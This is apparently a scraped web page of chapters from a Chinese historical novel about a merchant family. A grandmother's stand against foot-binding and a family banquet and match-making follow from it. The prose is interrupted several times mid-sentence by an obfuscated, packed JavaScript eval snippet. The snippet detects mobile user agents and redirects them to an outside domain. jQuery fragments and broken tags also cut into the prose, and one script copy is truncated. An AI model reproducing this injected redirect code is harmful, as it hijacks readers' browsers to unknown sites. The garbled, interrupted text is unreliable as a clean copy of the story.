“你别只护着她。”蒋世泽道，“外面不裹的那些都是下户之女，既要谋生，也求不得什么好姻缘，她可一样么？”又想起什么，再道，“娇娇也拖不得了，人家沈家和姚家的小娘子早就裹了，她必得跟上才是正经。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529280|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金大娘子还没来得及说话，斜刺里便传来了蒋老太太略显清淡的声音：“下户之女。那你倒是说说，我们家是什么户？” 蒋世泽一愣，转眸正对上母亲沉静的目光，不由心下微顿。 “因为我们家如今有些过人的资财，在官府的户籍簿里排得着上户，所以你蒋二老爷就忘了你父母是个什么出身，是么？”蒋老太太幽幽道，“还是说，你觉得你娘也是大脚，丢你的人了？” 蒋世泽哪敢接这个话，忙站起了身以示惶恐。 金大娘子和蒋黎也即跟着站了起来。 “娘，我不是那个意思。”蒋世泽自接了家主后就几乎没有被母亲教训过了，以至于顺风顺水之下他都快忘了他娘以前是个什么性格，此时当着妻子和妹妹的面，不免感到有些难堪，只能小心地辩解道，“您那时候要持家，我们都靠着您，怎么能一样呢。” “那你先前说什么你讲的我们不听，你讲的又如何？”蒋老太太凉声道，“你成日里跟着那些士人子弟混，好的没见学几分，倒学了这些臭毛病回来。他们觉得女子脚小为美，今日你就要逼着你妹妹和女儿去裹脚，来日他们若觉得女子没有骨头最美，你是不是还要把你亲妹、亲女的骨头给拆了？！” “好好的人，非得叫去受那个苦楚，是你有病还是他们有病？我看我最大的错处便是原想着两头折中，才放任着你给她们遮遮掩掩，不想却反倒成了她们当真见不得人一般。”蒋老太太一口气骂完了儿子，略停了停，又转头看向了女儿，说道，“人家合起来嘲你几句，你也就当真觉得自己不合常理，丢了人？这有什么好哭的。我若是你，方才你二哥哥说郑家那几句时就该怼回去，他们不敢娶就算了，难道我蒋氏女还怕嫁不出去？我就不信女子脚大还能把地给踩塌了不成！” 蒋黎望着母亲，早已涨红了脸。但这一次她却深知不是羞恼。 蒋老太太说完，就径自对儿子吩咐道：“两件事你们夫妇自去商量着办好。第一，我要办宴席请客，名目你去帮我想，反正办得不能比今日沈家大宴差。至于该请哪些人，莲华心里肯定有数。第二——”她看了眼女儿的裙摆，续道，“让人把黎娘和娇娇的裙子都重新做了，今后不许刻意给她们遮着脚。” 蒋世泽不由一愣。但他此时哪里还敢多话？只巴不得马上让自己脱离这被母亲训斥的尴尬境地，于是当即应了下来。 金大娘子也陪着应喏。 蒋老太太把蒋黎单独留了下来说话。 “过来吧。”她此时方放缓了语气，朝女儿伸出了手，“娘在这儿。” 蒋黎一听，瞬间就掉下了泪来，二话不说迈开脚步即奔过去扑进了老太太的怀里。 这是她今天在沈家的时候一直最想最想的事情。 蒋老太太一边轻抚着女儿的背，一边温声道：“你别怪娘，娘是真舍不得你疼。” 蒋黎点头，忍着哽咽应道：“娘知道我最怕疼。” 蒋老太太更蔼声地说道：“若是当真嫁不出去，娘养着你。” 蒋黎流着泪，无声地紧紧抱住了母亲。 25. 纠结 蒋修并不知道在沈家福寿堂里发生了什么，只是回来的时候从家人们略显异样的气氛中隐隐感觉到了些不妙，之后又越想越不对，按理他们怎么也不该回来得这么早啊。于是他便寻去了妹妹蒋娇娇那里，打听道：“今日你们那边可是出了啥事么？” 蒋娇娇正盘腿坐在炕上，用手指一会儿比量着脚底板，一会儿又轻试着掰了掰脚背，整个人似是很全神贯注，又像是颇为低落沉寂。 蒋修见她没搭理自己，顺着她动作看去，莫名道：“我同你说话呢，你玩什么脚？” 蒋娇娇一脸若有所思地抬起头，眼神里带着些许茫然。 “大哥哥，”她说，“你觉得我的脚是不是很难看？” 蒋修愣了一下，然后又看了眼她的脚，说道：“不啊，怎么问这个？” 蒋娇娇道：“可是好像要和沈小娘子还有之之一样才是对的，我和小姑姑这样反而有点奇怪。” 蒋修听她这样说，微忖后便隐约有些明白了在沈家到底发生了什么。 “有什么奇怪的？”他浑不在意地说道，“她们那脚又不是天生的，还不是都后来改小的，可见大家原本的脚就该是你，哦，也是我这样。既然本就是这样，那就没有什么奇怪的。” “真的？”蒋娇娇心想，那为什么娘亲和小姑当时都没有反说那些人奇怪呢？那么多长辈，还有官户家的娘子，好像瞧起来都是觉得她们不对，小姑还偷偷哭了。 “那你觉得是大脚好还是小脚好？”她有点忐忑地看着兄长，心想要是大脚真的不好，可能她还是需要裹一裹？ 蒋修反问道：“脚又不是拿来看的，大的小的又怎么了？” 蒋娇娇微怔。 “有些人就是闲得很，自己身上又不是没有，却偏喜欢对别人的身体指指点点。”蒋修想到自己的过往经历，说着就有点不耐烦了，“我还嫌他们多事呢，也不看看自己凭什么，轮得着他们来嫌弃咱们？你能一口气从巷尾跑到巷头，她们行么？” 蒋娇娇难得被她哥肯定，微感不好意思，含蓄道：“可能一口气跑不完，还是有点累。” 蒋修无语地看了她一眼，末了，却只语气安慰地道：“你与小姑说，别理外面那些长舌的胡言乱语。” 蒋娇娇点点头。 “哦，对了，”蒋修这才想起件事还要问清楚，于是道，“你是不是故意乱给我消息？沈小娘子明明喜欢好看的面具，你还让我买丑的。” 其实当时沈云如发火的时候他就已经反应过来了，但他既不可能在外人面前把妹妹拿出来挡火，更不可能容忍对方嘲讽他们全家，所以也就只当没有这桩事，一力认了。 蒋娇娇顿时有点心虚地抿住了嘴。 但蒋修却出乎意料地没有同她算账，反而问道：“你到底为什么那么不喜欢她？” 蒋娇娇有些意外，似是没有想到她哥有一天竟然也会对这个问题感到好奇，或者说会为了这种事来关心她。 一时间，她不免旧惭新忧齐齐涌了上来，眼眶倏地就红了。 她咬了咬唇，过了好一会儿才低声说了句：“她同她表妹说我是饭桶。” 蒋修愣了一下。 曾经因为强烈的羞耻感而让蒋娇娇难以启齿的经历，一旦开了头，她就再难忍住委屈。 “我那时候想同她在一起玩儿，所以常常找她，待晚了也就自然留在了她家吃饭。”她垂眸用手指一下下揪着裙摆上的绣花，低声道，“可是没想到原来她其实心里是在烦着我。后来她那个表妹不是来巷子里玩了几天么？有天玩游戏时输不起还嘲我，就说沈云如私下讲的其实嫌我总在她家吃饭，还说我好吃，不似淑女倒像个饭桶。” 蒋娇娇低落的语气里带着几分倔强：“后来我就再不想去吃她家的饭了。” 蒋修大感愕然。 他看着妹妹这副难得露出的神情，想象当时她被人嘲讽的情景，不免就有些着恼。 他猜测蒋娇娇应该是误会了沈云如嫌她能吃，若没有今天在沈家时沈云如与他吵嘴说的那番话，大约他也会以为是。可现在他却觉得，沈云如其实嫌的是他妹妹这个人。 或者说，人家根本就是瞧不起他们家。 官户就官户，有什么了不起的？ “哥哥以后给你买吃的，”他说，“你想吃多少吃多少。” 蒋娇娇委屈道：“我吃的其实不多，就两碗饭。” “管它几碗呢，既要请人又没有容人之量，咱们也不稀罕。”蒋修道，“我们家请客就从来不像他们那样事多，我妹妹也最是大方。” 因为这件事对蒋娇娇来说实在太伤自尊心，所以就连姚之如她都没有具体告诉过。现在听见哥哥这样说，蒋娇娇终于迟来地感受到了一些安慰，也突然间得到了些释然。 她曾不知多少次回想起当初，每每都懊恼地恨不得打自己两下，气自己为何要去吃沈云如请她的饭。 这件事甚至给她留下了些阴影，以至于当她与谢暎初相识时，虽基于好奇和想要与他交好的本能提出要他请自己吃他亲手做的饭，但她后来反应过来，多少是有些忐忑的。 担心谢暎也像沈云如那样嫌弃她好吃。 所以后来趁着娘亲帮她办席的时候，她就赶紧地先主动请了他一回，而且请的东西须得又多又好，她看着他表现出来的谢意，这才放了心。 想到谢暎，她便开口说道：“大哥哥，我想去趟谢夫子家。” 蒋修反正没什么事，想着这会儿估计谢夫子还在沈家宴上喝酒，就打算和妹妹一起去找谢暎玩会儿。 兄妹两个也不需要另收拾什么，将厮儿和女使都撇在家中，径自去串门了。 *** 谢暎正在看书，听见院子外面有人在喊自己，那两把声音他都不需仔细辨别就知道是谁家的，于是很快出了房门，上去打开竹扉，面色微讶地朝来人笑道：“你们怎么来了，不是在吃席么？” 照理说其他人都在沈家，吃完饭后玩也该能玩上好一阵子的。 蒋娇娇却道：“我没吃饱，你家还有吃的么？” 谢暎微怔，心说怎么难道沈家的饭菜不好吃么？ 蒋修附和道：“有的话我也搭着吃两口。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529281|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢暎略感为难地道：“家里倒是有些肉菜，但我不太会做，汤饼能吃么？” 蒋修道：“行。” 蒋娇娇道：“有鸡卵么？最好汤饼里头能卧个。没有的话我回去拿些来。” 谢暎点头：“有，那我用豆油给你煎一个。”然后他冲刚挨到懒架上的蒋修道，“你别坐着，进来帮个手，我一个人做得慢。” 他中午吃的是店里送的外食，那是谢夫子提前安排好的，所以灶火也还得重新起。 蒋修随手一指他妹：“旁的让蒋娇娇去做，我帮你们捡柴烧火。” 蒋娇娇也兴奋道：“我去！” 谢暎知她养得娇贵，本不想答应，但看蒋娇娇满脸跃跃欲试的期待样子，又不忍心让她失望，便只能改口道：“那你听我说的做，不许自己上手乱摸，免得弄脏了衣服或者烫着手。” “嗯嗯。”蒋娇娇乖乖点头。 谢暎还专门去找了件自己的旧外衫，随手三绕两绑地，转眼就给蒋娇娇做了个简单的围兜，然后又另找了两条细索作襻膊，小心地帮她把袖子挽了起来。 蒋娇娇被他倒腾地觉得新奇又好玩儿：“谢暎你好厉害啊。” 谢暎给她整理好了袖角，浅浅一笑，说道：“同你玩在一起，不厉害也不行。” 蒋修正在往灶膛里塞柴火，闻言即附和地道：“没错，她最是麻烦。” 蒋娇娇没理她哥，但却对谢暎更加的信服，于是忖了忖，忽问了他句在心里盘旋已久的话：“谢暎，你觉得我是裹脚好还是不裹好啊？” 谢暎被她冷不丁问地一顿，顺着她的话下意识低头看了眼她长阔的裙摆，然后回问道：“那你自己想不想裹？” 蒋娇娇还是有点纠结：“我怕疼，自己不太想。但是我看沈小娘子还有之之她们都裹了，好像其他家的小娘子也没有不裹的，我又怕以后被人家笑。” 谢暎道：“怕疼才是正常，本就没有人不怕的。”他说，“你既不愿意，那就不用去做，旁人若笑你，你就直说句‘我偏觉得我这双脚最好看’，他们见你不受嘲笑，难受的也就成了他们。” 蒋娇娇愣愣地望着他。 过了会儿，她才迟疑地说了句：“可是好像大脚容易嫁不出去。” 谢暎一愣，这个问题他着实没有想过，略超出了他的认知范围。 蒋修正按着谢暎教的在往灶里头生火，他皱着眉头挥手扫了扫烟气，闻言随口说了句：“怎么可能，爹爹买也能给你买个小官人回来。”又道，“实在不行就把你送给暎哥儿当小媳妇，反正他肯定不嫌你。” 蒋娇娇和谢暎双双一怔。 谢暎倏地红了脸，正要开口让蒋修别乱说话，就见蒋娇娇松了口气。 “那还可以。”她觉得给谢暎当小媳妇也不亏，还能天天跟着他玩儿，比起之前他哥被外头人传说要送给沈家当小女婿，那可是好出太多。 于是她即时一扫先前愁闷，扬起笑容朝谢暎问道：“我们要先做什么？” 谢暎：“……” “那就，”他有些不太自在地转开了脸，“先和面吧。” 26. 态度 蒋老太太的客宴被定在了沈家寿宴的十天之后。 因着老太太当日的一番话，蒋世泽不仅丝毫不敢怠慢，而且还不吝钱财地出了大力。 在和妻子商量之后，蒋世泽将这场宴席的名目定为了“赏梅宴”。 既是赏梅，自然少不得要有足够的花摆出阵势来，于是光是采买各种品类的梅花一项就花了上万钱，鲜花不够，就买最好的像生花。而为了布置整个院子里的景致，蒋家又尽用上好的绸缎彩帛作花形，日光下只见目及之处一片轻盈鲜艳，光泽流转，仿佛将那些早已随冬凋零的树丛重新又焕出了春色。 到了请宴当天，来的宾客无不为此手笔感到咋舌。 就连本就是做彩帛买卖的姚家人，也不免因蒋家的财大气粗而有些吃惊。 姚之如私底下问蒋娇娇：“你们家是有什么喜事么？” “没有啊。”蒋娇娇其实也挺兴奋的，为了配合今天这姹紫嫣红的氛围，她还跟着小姑也把自己好一番打扮，说道，“就是我婆婆难得有心情要请客赏花，我爹爹孝敬她老人家。” 姚之如这才注意到蒋娇娇今天穿了新裙子。 她的目光自然而然地落在了对方裙摆处，盯着看了两眼，然后由衷地道：“娇娇，你的鞋子好好看。” 蒋娇娇顺着也低头看了眼，伸了伸脚，笑道：“不是新的，你要喜欢的话我回头跟娘说一声，照这个花样做一双送你当生辰礼。” 她穿的是双花靴，上面用混金线绣着牡丹，还用猫睛石点缀作露水。 姚之如本来下意识想婉拒，但又实在很喜欢这个样式，于是纠结了一下，终是忍不住心头喜好，笑嘻嘻地拉着蒋娇娇的手晃了晃，说道：“那谢谢你了，我就要个这花样就成。” 她心里有数，知道这双花靴最贵的三处就是面料、金线还有猫睛石。面料她能收，是因为知道自己多少能还得起礼，但销金之物却不是她们这些小孩子能随便说送就送的。 至于猫睛石，姚之如则连想都没想过，都知道那是胡商才有卖的，得来稀罕，价值不菲。 她只能在心里羡慕一下蒋娇娇。 蒋家在宴席的安排上并没有沈家那样泾渭分明，因此次请的全是女眷，所以只分了大人和孩儿席。除了必须由母亲在身边照顾的小娃外，其余孩子们都单独坐到了孩儿席那边，席上也没有分男女，全都坐在了一处。 蒋娇娇就拉着姚之如坐在了自己旁边，然后看了眼自己另一旁的空位，想到谢暎今日还是不能来赴宴，不免有些遗憾。 她就打算等他晚些过来读书的时候一定要让人把院子里的灯笼都点上，也好给他分享分享冬天里这样好看的景致。 “沈小官人他们来了。”姚之如忽然轻声说了句。 蒋娇娇经过上回把心中积闷说出了口，此时再见到沈云如也没有以前那样的不自在了，反而从容了不少。于是她顺着姚之如的视线看去，轻轻点了下头：“嗯。” 蒋修招呼了沈约入座，见沈云如走上来，也客气地见了个礼：“沈小娘子请自便。” 沈云如这几天其实一直想找个机会和他说话。 沈家寿宴之后没两天，蒋修就托沈约把重新买的面具交给了她，新的这面具做得很漂亮，用的料也好，瞧着果然不是敷衍她随便买的。 但沈云如原以为蒋修会说些什么，譬如上次他没有亲自正式说出的道歉，又或者其它示好的话。 可沈约却说蒋大郎并没有让他转达别的，只道这是那天答应买给她的，多的也不曾讲。 沈云如也就不好跟弟弟说多了，毕竟那天的事情她亦自知言行有失，大家都就此揭过才是最好。 故而今天在蒋家的赏花宴上碰了面，沈云如就有意地留了点双方说话的空隙，或者说，她是给了蒋修一个说话的机会。 结果蒋修的确是说了话，但却只是平平一句礼节之语，甚至都没有比平时多看她一眼，打完招呼就自去和那些男孩子们一起聊天了。 似乎和他往日的态度没有什么两样，但又和那天在沈家讨好她的样子明显不同。 沈云如有些愕然，也感到有些许失落。 但蒋修既再没有表示，她也不可能追着他去问，正好她姨婆家的小娘子在唤她入座，于是沈云如忙应了声，走过去坐下的时候心中还好奇地想：怎么蒋家这回办宴还请了自己家的亲戚？ 坐在对面的蒋娇娇其实这会儿也发现了。 她也觉得很奇怪，为什么婆婆办宴要请沈云如家里的亲友？而且这亲友还不是别人，正是那天在沈家福寿堂里有份笑了她小姑的人。 蒋娇娇虽不至于多么记仇，但向来喜恶分明，很是不理解为什么自己还要请她们来吃饭。 既是家中小宴，难道不该请的都是走得近的亲友么？她的外家都没有人受邀呢。 于是她悄悄扯了下蒋修的袖子，对兄长耳语了两句，告诉对方此时坐在沈云如身边的小娘子就是谁谁家的。 蒋修微讶：“真的？” 蒋娇娇点了点头，说道：“我想去婆婆那里看看。” 蒋修忖道：“我和你一起去。”他也好奇长辈为何如此。 于是兄妹两个就寻了个由头暂时离了席，谁知出来没走几步就正好迎面遇上了蒋黎。 “你们要去哪儿？”蒋黎问道。 兄妹俩对视一眼，蒋修道：“小姑，娇娇说今天家里请的客人是你们那天在沈家见过的？” 蒋黎沉吟了须臾，微微颔首：“嗯，你们婆婆有些话要同她们说，就请过来了。” “婆婆要说什么？”蒋娇娇好奇道，“我都不想理他们。” 蒋修也道：“小姑，我们用不着讨好那些人的。” 蒋黎本是作为蒋家长辈过来看一眼孩儿席这边的情况，不料正碰上这出。见蒋修和蒋娇娇一副不能理解眼前状况和为她不平的样子，她想了想，说道：“这个嘛，得听了才知道。”又问，“你们想听？” 两人齐齐点头。 蒋黎抿了抿笑，说道：“那也行，不过你们得跟着我，听的时候呢不许发出声音，总之不能让人发现。” 兄妹两人自是满口答应。 蒋黎就把自己的女使琥珀留了下来照看着席上。 姑侄三人小心地溜到了前厅廊屋，因前厅平日里都是蒋世泽议事或是家中主宴所在，蒋娇娇很少过来，而到厅后廊屋来听墙角就更是第一次。 这也是她头次深刻地体会到原来门窗这么高。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529282|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她努力地踮着脚，学着小姑和兄长的样子，想要透过用轻绸所糊的隔窗将厅中此时的情况瞧一瞧，却怎么也够不着。 蒋黎轻轻按住她的脑袋，以指抵唇，示意让她停止折腾。 蒋娇娇只好把耳朵贴在了门缝上。 ——“我这孀居的老太婆也是许久不曾感受请客的乐趣了。” 这是她婆婆的声音，很有中气，带着亲和的笑意。 “多得我家二郎和息妇的一番孝心，也谢谢各位今日赏面。” 蒋老太太的这句话音落下，厅里便随即响起了一阵道谢和恭捧的回应。 这些显然都是客套的过场。 绸窗轻薄，蒋黎借着厅中光亮，清楚地看见她母亲坐在主位上，朝着席上众人微微笑了笑。 “在座的虽有些家娘子与我是初见，但有些呢，却是我们家多年的邻里、友人。”蒋老太太不急不慢地说道，“大家都是知根知底的，我老婆子也不装什么相，有话便直说了。” “我出身农户，读的书也少，只不过认得些字而已，说起话来自是不大懂得婉转，但我觉得称赞人时也该直言直语，用不着多的弯绕，否则岂非白赞了一场？ 众女眷又附和地笑了笑。 此时蒋老太太便略带笑意地方续道：“老实说，我这辈子活到现在，虽眼下还没过上大寿，不过得意之事却已有了三件。” 她此言方出，坐在席上的王老太太和唐大娘子就已倏然一顿。 两人下意识都有些不太好的预感。 其他有些心思敏锐地也随后反应过来，纷纷默忖：蒋老太太好端端地拿做大寿相比，难道指的是沈家老太太？ 姚家的段大娘子也不动声色地看了眼唐大娘子，然后轻翘了下唇角，只当若无其事地低头端起茶喝了口。 只听蒋老太太又径自说道：“一则是为我那先走的夫婿。他虽是我们蒋家的上门婿，但为人真诚，待我珍惜，我与他夫妻琴瑟和鸣，同心协力为家，我卖过油，他做过倾脚头，从我俩在市上兜售第一批粗布开始，方慢慢为今日的家业打下了基础。” “第二件，是我虽然中年守寡，老年又丧子，但我家的孩子们却都甚有教养，从不以资财论交往。我常对他们说莫忘初心，人之所以为人，便不应该长着双狗眼，否则学人读书再多有何用？” 唐大娘子倏地涨红了脸。 若说先前那话还不明显，那这段几乎可以说是明指了。 唐大娘子回想起之前自己和阿姑讨论蒋家这次办宴下帖的目的，她阿姑沈老太太还不以为然，觉得这大约就是蒋家想挽回点面子，也为了蒋黎的婚事做出些弥补。 她那时也信了，想着蒋老太太平日里笑面佛一般乐呵呵的模样，觉得这赏梅宴十有七八还是蒋家主君的主意，商贾一贯圆滑逐利，自是要为丢的面子尽周全之力了。 怎么都没想到原来竟是蒋老太太在这里等着骂人。 而她和王老太太，还有丈夫几个同砚席交家的女眷，竟也都老老实实地应邀来了。 唐大娘子不由下意识看去，果然见到其他人虽貌似淡定无事，但也早已笑容勉强地几乎要挂不住。 却听蒋老太太又径自笑着说了她的第三件事。 27. 清明 “……她说这第三件事，便是自己给儿女们都找了门好亲事。尤其提到蒋四娘子随了她大脚持家，能相中她女儿的人家可见是有眼光、有心胸的。我瞧郑家那婆媳几个坐在席上的样子，这婚事只怕是不想成也得成了。” 唐大娘子一边服侍着丈夫泡脚，一边难掩气恼地说道：“她家女儿没有裹脚是明摆的事，又不是谁冤枉的，怎地不说是她们自己藏着掖着？现在不过是被点了出来，就把人叫过去明里暗里一通骂。别说是你那些友人家的娘子们了，就是阿姑听了也气得很，说都怪你平日里和蒋老爷往来不分贵贱，才让蒋家这般蹬鼻子上脸。”于是又提醒道，“你近日往阿姑那里去时须得小心些。” 沈庆宗是得了妻子送的消息回来的。 正是因不想和母亲碰面，所以他才故意挑了深夜里归家，并打算次日一早就走。而此时听着妻子详述昨日蒋家宴上发生的事，他不由慢慢皱起了眉，最后更忍不住直接打断道：“什么贵贱，这话你莫要跟着拿出去乱说，那都是前朝的老黄历了。我朝向来鼓励商事，那蒋家只凭资财也是能在汴京的坊郭户里排上等的，咱们家若不是官户，只怕还不如人家的等次。这话往小了说是得罪人，往大了说，岂非质疑官家和朝廷法令？” 唐大娘子被他一唬，也有点后怕起来，忙道：“我这不是只在家里同你转述一番么，我本也不会这样说的。” 沈庆宗略感疲倦地叹了口气，闭上眼，说道：“娘一向惦着祖上出身的荣耀，现在年纪又大了，有些弯更难转过来，我们做晚辈的虽不能不敬顺着，但也该替她老人家为家里多想想。” 唐大娘子明白这是丈夫在责怪自己，虽觉惭愧，但也不免有些委屈，说道：“那莫非还要我们去捧着蒋家，说他家老太太骂得好么？” 沈庆宗皱了皱眉，略有些不悦地看着妻子：“你是一家主母，这样的事情该如何做难道心里没有数？谁让你去捧着蒋家了？你们当众扫了人家一回面子，险些搅和了别人女儿的姻缘，以蒋老太太的辈分来拐着弯骂你们一回，那也就算是扯平了。今后我与蒋世泽之间不提，你们内宅走动也只当此事不曾发生，大家同以前一样来往也就是了。” “何事为大，何事为小？娘心里没有数，你就该帮她老人家揣着数。”沈庆宗道，“看得上谁、看不上谁又不需天天放在脸上，蒋家出身自不如我们，既是事实，又何须计较？难道不曾戳破蒋家女儿是大脚，咱们的云娘就比她们差了？她是我们家花了心血培养的女儿，且不说这照金巷，就是加上东榆林和甜水二处，我看也没有人胜过她。” “既如此，不如着眼实际多看看人家的用处。”他索性把话与妻子摆开了道，“往眼前说，我们正要和蒋家联起手来做大买卖，你们此时招惹蒋家，岂不等于坏我外面的事？往长远了看，我们两家说不定还有儿女们的缘分，大家整日里抬头不见低头见，为了那点子鸡毛蒜皮的事算来算去有什么意义？是能让你多穿几件衣，还是多买几支簪戴？” 唐大娘子起先听得直点头，待到后来不免微感诧异，忍不住问道：“官人的意思，是……有意与蒋家结亲？” 沈庆宗语气平淡地说道：“我看蒋世泽也未必没有此意。不过现在说这些为时尚早，孩子们还小。” 那就是有可能了。唐大娘子知道自家若要和蒋氏结亲，论年纪和身份肯定是在自己生的那对龙凤胎里择一，思及此不免有点紧张，于是忍不住又问道：“那，官人是想的云娘，还是二哥儿？” 沈庆宗略顿了顿，少顷，似若有所思地随口道了句：“若是蒋家那样的门户，我们家需给云娘备的嫁奁就太多了，再有……也可惜了她。” 唐大娘子恍然。 是啊，蒋家是大富，若要给儿子娶亲的话聘财肯定不会少，相应的，女方家的嫁妆就必得更多。且不说沈家能不能出得起女儿这份嫁妆，就算出得起，可掏了那么多家财出来，就为了让云娘嫁给个商户之子？那也太可惜了！ 除非蒋修以后也能金榜题名。 但这个可能性太小，远不如自家二哥儿的前程有定数。 那就只能让二哥儿去娶蒋娇娇了。就冲着他们家的门第和自己儿子的人才，想必蒋家老爷也不会挑剔他们给的聘财，而且蒋家这个嫡出独女一贯受宠，家里定不会亏待她的嫁奁。 这样来看，倒的确是他们娶比嫁更好。 可唐大娘子又觉得有点便宜了蒋家，不由问道：“但若二哥儿以后有更好的机遇呢？” 沈庆宗想也不想地道：“那自当是人往高处走，岂能因身外之物耽误前程。” 说完，夫妻两个对视一眼，彼此已心照。 *** 蒋家办完赏梅宴后的第三天，郑家那边就托了媒户来请相亲的日子。 蒋老太太沉吟了几口茶的工夫，然后做主定下了腊月二十五那天，请郑家的长辈也并去陈留的别院里游玩一日。 出发的前夜，金大娘子特意去了蒋黎那里找她说话。 “我估计郑家郎君给你准备的应该多半是金钗。”金大娘子含笑说着，然后示意珠蕊将手中的盒子放在了桌上，并道，“这是我给你挑的头面，你瞧瞧如何，若觉得可以的话回头就照着这个配衣裳吧。” 蒋黎原本也正在为不知明日该穿什么好而感到略有些苦恼，梁妈妈的意思是让她打扮得光彩照人最好，这样在气势上也能先压郑家一头。她知道对方是为自己着想，毕竟不久前才刚出了沈家寿宴上那桩事，但蒋黎自己却觉得那样太刻意，反而显得自己多么在乎，没有什么意思。 现在金大娘子却来得正好。 “谢谢二嫂嫂。”蒋黎感激地说着，伸手将盒子打开，发现里面是一套红色的琉璃玉簪花首饰。 “本是想给你戴玉的，”金大娘子道，“但又觉得略显沉静了些，若再配支金钗，就更不够衬你灵动的性子。” 蒋黎点点头，由衷地道：“让嫂嫂费心了。”又微笑了笑，好似淡然地说道，“不过你们也别抱太大期望，可能人家到时不愿给我插钗，反倒给了两匹彩缎呢。” 她言语间带着宽慰之意，但其实就连蒋黎自己也不知到底宽的是家人的心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529283|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，还是她自个儿的。 “莫要胡言。”金大娘子蹙了眉说她，“定能顺顺利利的。” 说罢，她忖了忖，然后将屋内左右屏退了，方又对蒋黎说道：“其实在咱们家办完宴后，你二哥哥便又向郑家订了一批金丝。” 蒋黎闻言一怔。 金大娘子伸手过来轻轻将她的握住，柔声劝道：“我知你向来是个单纯、要强的性子，嘴上不说，但心里却希望人家看重的不是咱们家的资财，而是你这个人。但是阿黎，结亲是两个家的事，不管是阿姑还是你二哥哥，他们所做的那些都是为了你往后的路能平坦。” “况且人是要相处才能有感情的。”金大娘子道，“你与那郑家郎君连面都还未曾正式见过，他焉能有机会看到你的好而对你钟情？若就早早因家中长辈阻挠断了相见，甚至相守的缘分，那岂不可惜？其实有些时候，我们对有些事倒也不必追求得那般完美无尘。” 蒋黎默然了良久。 俄顷，她缓声开了口：“我明白嫂嫂的意思。其实我也晓得这世上许多事自有它的定法，也知道这样的开头未必不能走出我想要的结果——就好像二哥哥和嫂嫂你们一样，当初若不是你娘家遇到了难处，只怕我二哥哥也求娶不到你。”她说到这儿，忽笑了一笑，“这么说来，我二哥哥虽拿着那不怎么样的开头，可倒是过得挺好。” 金大娘子也笑了笑：“只凭你这般会说好听话哄人，以后的日子也不会差的。” 蒋黎望着她，微微颔首道：“我会努力的。” *** 次日清早，趁着出发之前，蒋娇娇先跑去敲了谢家的院门。 谢暎刚打开门，就看见她穿了身粉底绣荷花滚着白狐毛边的袄裙，头上梳的双丫髻间戴着几朵小小的同色琉璃花，乍眼看去像只冬日里罕见的花上小蝶。 “这个镜面糕好吃，我给你装了点，你看书饿了吃。”蒋娇娇边说，边递了个鼓鼓囊囊的花布袋子过来塞到他手上，“我们走了啊，后天就回来。” 谢暎笑着收下东西，回道：“知道了，你们好好玩。” 蒋娇娇道：“回来我告诉你小姑夫是什么样子。”一副迫不及待想看新鲜还要和别人分享的样子。 谢暎便捧场地应道：“好。” 蒋娇娇就高高兴兴冲他挥挥手，又脚下飞快地跑回去了。 谢夫子的声音忽然从身后传来：“是蒋家小丫头过来了？” 蒋娇娇的声音太好认，这巷子里除了她就再没有第二个小姑娘说起话来像只小鸟似的，叽叽喳喳，语气自在得很。 谢暎掩上门，回身含着笑应道：“嗯，她拿了点镜面糕过来。” “她就对这些上心。”谢夫子不以为意地说完，又朝谢暎手里的花布袋子看了眼，末了，似略有些发酸的样子轻轻砸了咂嘴，“她只惦着给你送吃的，也不知顺路再给她夫子送些子琼浆来。” 谢暎知道他好酒，闻言便笑了笑，说道：“以后我给您买。” 谢夫子抬了抬眉毛，须臾，抿着唇角微点了下头：“那也成。” 28. 相看 蒋家别院位于陈留县东郊的一处山谷里，地方不算很大，但在修建布局上却让蒋世泽颇费了些心血。 为了能得到在京城没法得到的园林风景，他当时是特意找了好几个人让仿着那些名家园林给画的图纸，依山而建是必须，引水修桥也不能少，至于士人清贵们追求的“宁可食无肉，不可居无竹”之无尘境界，他觉得自家也该沾一沾那般雅致，所以园子里还辟了竹林台榭和花药圃。 